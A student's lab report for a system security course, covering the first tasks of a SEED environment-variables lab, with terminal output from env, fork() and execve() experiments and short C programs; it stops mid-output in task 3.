NAME: Arvind Sai Dooda

CWID - A20553046

SUBJECT: System and Network Security (**Lab 1: SetUID and Environment Variables**)

2.1 Task 1: Manipulating Environment Variables

2.1 Task 1: Manipulating Environment Variables

In this task, we study the commands that can be used to set and unset environment variables. We are using Bash in the seed account. The default shell that a user uses is set in the `/etc/passwd` file (the last field of each entry). You can change this to another shell program using the command `chsh` (please do not do it for this lab). Please do the following tasks:

- Use `printenv` or `env` command to print out the environment variables. If you are interested in some particular environment variables, such as `PWD`, you can use "`printenv PWD`" or "`env | grep PWD`".
- Use `export` and `unset` to set or unset environment variables. It should be noted that these two commands are not separate programs; they are two of the Bash's internal commands (you will not be able to find them outside of Bash).

```
[08/26/23]seed@VM:~/Desktop$ cd Labsetup
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  myenv.c  myprintenv.c
[08/26/23]seed@VM:~/.../Labsetup$ cat /etc/passwd|grep seed
seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
[08/26/23]seed@VM:~/.../Labsetup$ printenv
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=0
1;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zi
p=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01
;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=0
1;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*
.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01
;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc
=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=
00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.
xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
```

```
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop
_=/usr/bin/printenv
[08/26/23]seed@VM:~/.../Labsetup$ env | grep pwd
[08/26/23]seed@VM:~/.../Labsetup$ env
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01
;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31
:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31
:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=0
1;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.w
ebm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.
dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*
.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/185700a9_8ff1_4b9f_9f2b_fade6865102b
INVOCATION_ID=812a9e42c18046eb9aac6b780119d91e
MANAGERPID=1746
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.175
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:37596
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
```

Observation : We used two commands, **printenv** and **env,** both of which are used to display environment variables. **printenv PWD** or **env | grep PWD**, illustrate how to specifically target and retrieve the values of particular environment variables. This suggests that environment variables hold information about the system's current state, as well as user-specific and session-specific data.

```
[08/26/23]seed@VM:~/.../Labsetup$ printenv PWD
/home/seed/Desktop/Labsetup
[08/26/23]seed@VM:~/.../Labsetup$ env | grep PWD
PWD=/home/seed/Desktop/Labsetup
OLDPWD=/home/seed/Desktop
[08/26/23]seed@VM:~/.../Labsetup$ export MYVAR='my variable'
[08/26/23]seed@VM:~/.../Labsetup$ print MYVAR
Error: no such file "MYVAR"
```

```
[08/26/23]seed@VM:~/.../Labsetup$ printenv MYVAR
my variable
[08/26/23]seed@VM:~/.../Labsetup$ unset MYVAR
[08/26/23]seed@VM:~/.../Labsetup$ printenv MYVAR
[08/26/23]seed@VM:~/.../Labsetup$
```

Observation : we used export and unset commands that are intrinsic to the Bash shell and are not standalone programs. The export command is employed to set environment variables, presumably allowing them to be accessible by child processes or future commands. On the other hand, the unset command is used to remove or unset environment variables, possibly to remove unnecessary variables from the environment. Export and unset are built in bash shell .

2.2 Task 2: Passing Environment Variables from Parent Process to Child Process

2.2 Task 2: Passing Environment Variables from Parent Process to Child Process

In this task, we study how a child process gets its environment variables from its parent. In Unix, `fork()` creates a new process by duplicating the calling process. The new process, referred to as the child, is an exact duplicate of the calling process, referred to as the parent; however, several things are not inherited by the child (please see the manual of `fork()` by typing the following command: `man fork`). In this task, we would like to know whether the parent's environment variables are inherited by the child process or not.

```
[08/26/23]seed@VM:~/.../Labsetup$ cat myprintenv.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

void printenv()
{
  int i = 0;
  while (environ[i] != NULL) {
     printf("%s\n", environ[i]);
     i++;
  }
}

void main()
{
  pid_t childPid;
  switch(childPid = fork()) {
    case 0:  /* child process */
      printenv();
      exit(0);
    default:  /* parent process */
      // printenv();
      exit(0);
  }
}
[08/26/23]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o child
```

This was the code were are going to use myprinteve.c

```
[08/26/23]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o child
[08/26/23]seed@VM:~/.../Labsetup$ cat myprintenv.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

void printenv()
{
  int i = 0;
  while (environ[i] != NULL) {
     printf("%s\n", environ[i]);
     i++;
  }
}

void main()
{
  pid_t childPid;
  switch(childPid = fork()) {
    case 0:  /* child process */
      //printenv();
      exit(0);
    default:  /* parent process */
      printenv();
      exit(0);
  }
}
[08/26/23]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o parent
```

For child file we haven't removed the comment we will be running file by using printenv()

```
[08/26/23]seed@VM:~/.../Labsetup$ ./child
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=0
1;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;3
1:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp
=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35
:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35
:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/185700a9_8ff1_4b9f_9f2b_fade6865102b
INVOCATION_ID=812a9e42c18046eb9aac6b780119d91e
MANAGERPID=1746
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.175
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:37596
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop
_=./child
```

```
[08/26/23]seed@VM:~/.../Labsetup$ ./parent
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31
1;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.
1:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;
=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.m
:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.o
:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/185700a9_8ff1_4b9f_9f2b_fade6865102b
INVOCATION_ID=812a9e42c18046eb9aac6b780119d91e
MANAGERPID=1746
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.175
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:37596
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop
_=./parent
```

```
[08/26/23]seed@VM:~/.../Labsetup$ ./child > childout.txt
[08/26/23]seed@VM:~/.../Labsetup$ ./parent > parentout.txt
[08/26/23]seed@VM:~/.../Labsetup$ diff childout.txt parentout.txt
49c49
< _=./child
---
> _=./parent
[08/26/23]seed@VM:~/.../Labsetup$
```

We have used diff command to compare between the parent and child file .It prints nothing because there is no difference.

Observation : Child process is inherited to copy of the parent environment hence,there is no difference when we run diff command on the parent env variable and child's env variables. Both are the same.

2.3 Task 3: Environment Variables and execve()

In this task, we study how environment variables are affected when a new program is executed via `execve()`. The function `execve()` calls a system call to load a new command and execute it; this function never returns. No new process is created; instead, the calling process's text, data, bss, and stack are overwritten by that of the program loaded. Essentially, `execve()` runs the new program inside the calling process. We are interested in what happens to the environment variables; are they automatically inherited by the new program?

```
[08/26/23]seed@VM:~/.../Labsetup$ gcc myenv.c -o myenv
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  child  childout.txt  myenv  myenv.c  myprintenv.c  out1  out2  parent  parentout.txt
[08/26/23]seed@VM:~/.../Labsetup$ ./myenv
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=0
1;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;3
1:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp
=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35
:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35
:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/185700a9_8ff1_4b9f_9f2b_fade6865102b
INVOCATION_ID=812a9e42c18046eb9aac6b780119d91e
MANAGERPID=1746
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.175
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:37596
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop
_=./myenv
```

```
[08/26/23]seed@VM:~/.../Labsetup$ cat myenv.c
#include <unistd.h>

extern char **environ;

int main()
{
   char *argv[2];

   argv[0] = "/usr/bin/env";
   argv[1] = NULL;

   execve("/usr/bin/env", argv, environ);

   return 0 ;
}
[08/26/23]seed@VM:~/.../Labsetup$
```

Changed the invocation of execve() in Line ① to the following; described observation.
execve("/usr/bin/env", argv, environ); - as myenv1

```
[08/26/23]seed@VM:~/.../Labsetup$ gcc myenv.c -o myenv1
[08/26/23]seed@VM:~/.../Labsetup$ ./myenv1
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=0
1;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;3
1:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp
=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35
